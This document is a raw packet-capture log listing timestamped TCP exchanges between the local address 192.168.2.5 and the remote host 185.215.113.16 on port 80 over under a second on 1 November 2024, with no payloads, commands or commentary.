Nov 1, 2024 05:02:14.569011927 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.569288015 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569340944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.569374084 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569391012 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569402933 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569417953 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569422007 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.569436073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569442987 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.569451094 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569467068 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569478989 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.569479942 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569497108 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.569504023 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.569672108 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.569672108 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.570367098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570383072 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570395947 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570410967 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570425034 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.570429087 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570445061 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570456982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.570460081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570477962 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570488930 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.570493937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570508957 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.570509911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570525885 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.570544958 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.570578098 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.571342945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.571361065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.571376085 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.571391106 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.571397066 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.571407080 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.571424007 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.571427107 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.571439981 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.571455956 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.571460962 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.571482897 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.571518898 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.572318077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572334051 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572348118 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572361946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572375059 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.572376966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572392941 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572396994 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.572407961 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572422981 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572428942 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.572438002 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572444916 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.572454929 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.572468042 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.572505951 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.573156118 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.573174000 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.573209047 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.573239088 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.592907906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.592936039 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.592950106 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.592972040 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.592999935 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593097925 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593113899 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593144894 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593178988 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593328953 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593344927 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593374968 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593394995 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593538046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593553066 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593568087 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593581915 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593591928 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593626976 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593873978 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593889952 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593905926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593928099 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593928099 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.593960047 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.593990088 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.594293118 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594306946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594321966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594336987 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594360113 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.594383955 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.594628096 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594644070 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594660997 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594675064 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594679117 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.594691038 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594707012 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594710112 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.594724894 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594742060 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.594747066 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.594768047 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.594796896 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.595468998 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595484972 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595525026 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.595530033 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595546961 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595562935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595565081 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.595577955 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595598936 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.595599890 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595617056 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595629930 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.595632076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595648050 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.595663071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.595695972 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.636311054 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.636329889 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.636346102 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.636390924 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.636434078 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.638681889 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.638695955 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.638746977 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.638768911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.638816118 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.638875961 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.638890982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.638906002 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.638928890 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.638959885 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.639132023 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.639147043 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.639163017 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.639183044 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.639209032 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.639478922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.639493942 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.639528990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.639544964 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.639647007 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.639662027 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.639676094 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.639695883 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.639719963 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.685585976 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.685614109 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.685628891 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.685679913 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.685715914 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686064959 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686089039 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686105013 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686117887 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686153889 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686285019 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686300993 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686331034 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686371088 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686501026 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686516047 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686532974 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686547041 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686554909 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686579943 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686611891 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686883926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686898947 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686914921 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686930895 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.686939001 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.686976910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.687258959 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687273026 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687294960 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687309980 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687315941 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.687331915 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687333107 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.687349081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687366009 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687374115 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.687381983 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687397003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.687403917 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.687424898 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.687454939 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.688308001 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.688323021 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.688338041 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.688353062 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.688360929 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.688369036 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.688385010 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.688385963 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.688400984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.688416958 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.688424110 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.688446999 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.688478947 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.689234018 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689250946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689265966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689289093 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689291954 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.689316034 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.689327002 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689342022 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689343929 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.689358950 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689374924 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689383030 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.689392090 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.689415932 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.689436913 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.690241098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690257072 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690269947 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690284967 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690293074 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.690300941 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690315962 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.690318108 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690335035 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690340996 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.690351009 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690366983 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690382004 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690383911 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.690392971 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.690401077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690413952 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.690435886 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.690466881 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.691529989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691546917 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691560984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691576958 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691591024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.691591978 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691608906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691615105 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.691626072 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691633940 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.691642046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691658974 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691669941 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.691674948 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691690922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691703081 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.691728115 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.691943884 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691961050 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691975117 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691991091 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.691996098 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.692007065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.692030907 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.692066908 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712065935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712089062 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712111950 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712127924 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712142944 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712177992 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712209940 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712347031 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712362051 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712378025 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712388992 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712393045 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712421894 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712460041 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712620020 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712634087 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712655067 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712667942 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712677002 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712682962 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712693930 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.712707043 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.712733030 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713026047 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713041067 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713057041 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713073015 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713103056 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713265896 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713280916 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713296890 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713310957 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713341951 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713732004 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713748932 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713776112 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713793039 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713807106 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713808060 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713824987 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713831902 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713841915 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713851929 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713859081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713871002 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713874102 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713886976 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713901997 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713907957 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713917971 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713932037 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713932037 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713948965 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.713967085 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.713998079 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.714593887 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.714607954 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.714623928 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.714637995 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.714644909 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.714653969 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.714663982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.714668989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.714684010 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.714685917 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.714699030 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.714719057 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.714740038 CET	59827	80	192.168.2.5	185.215.113.16
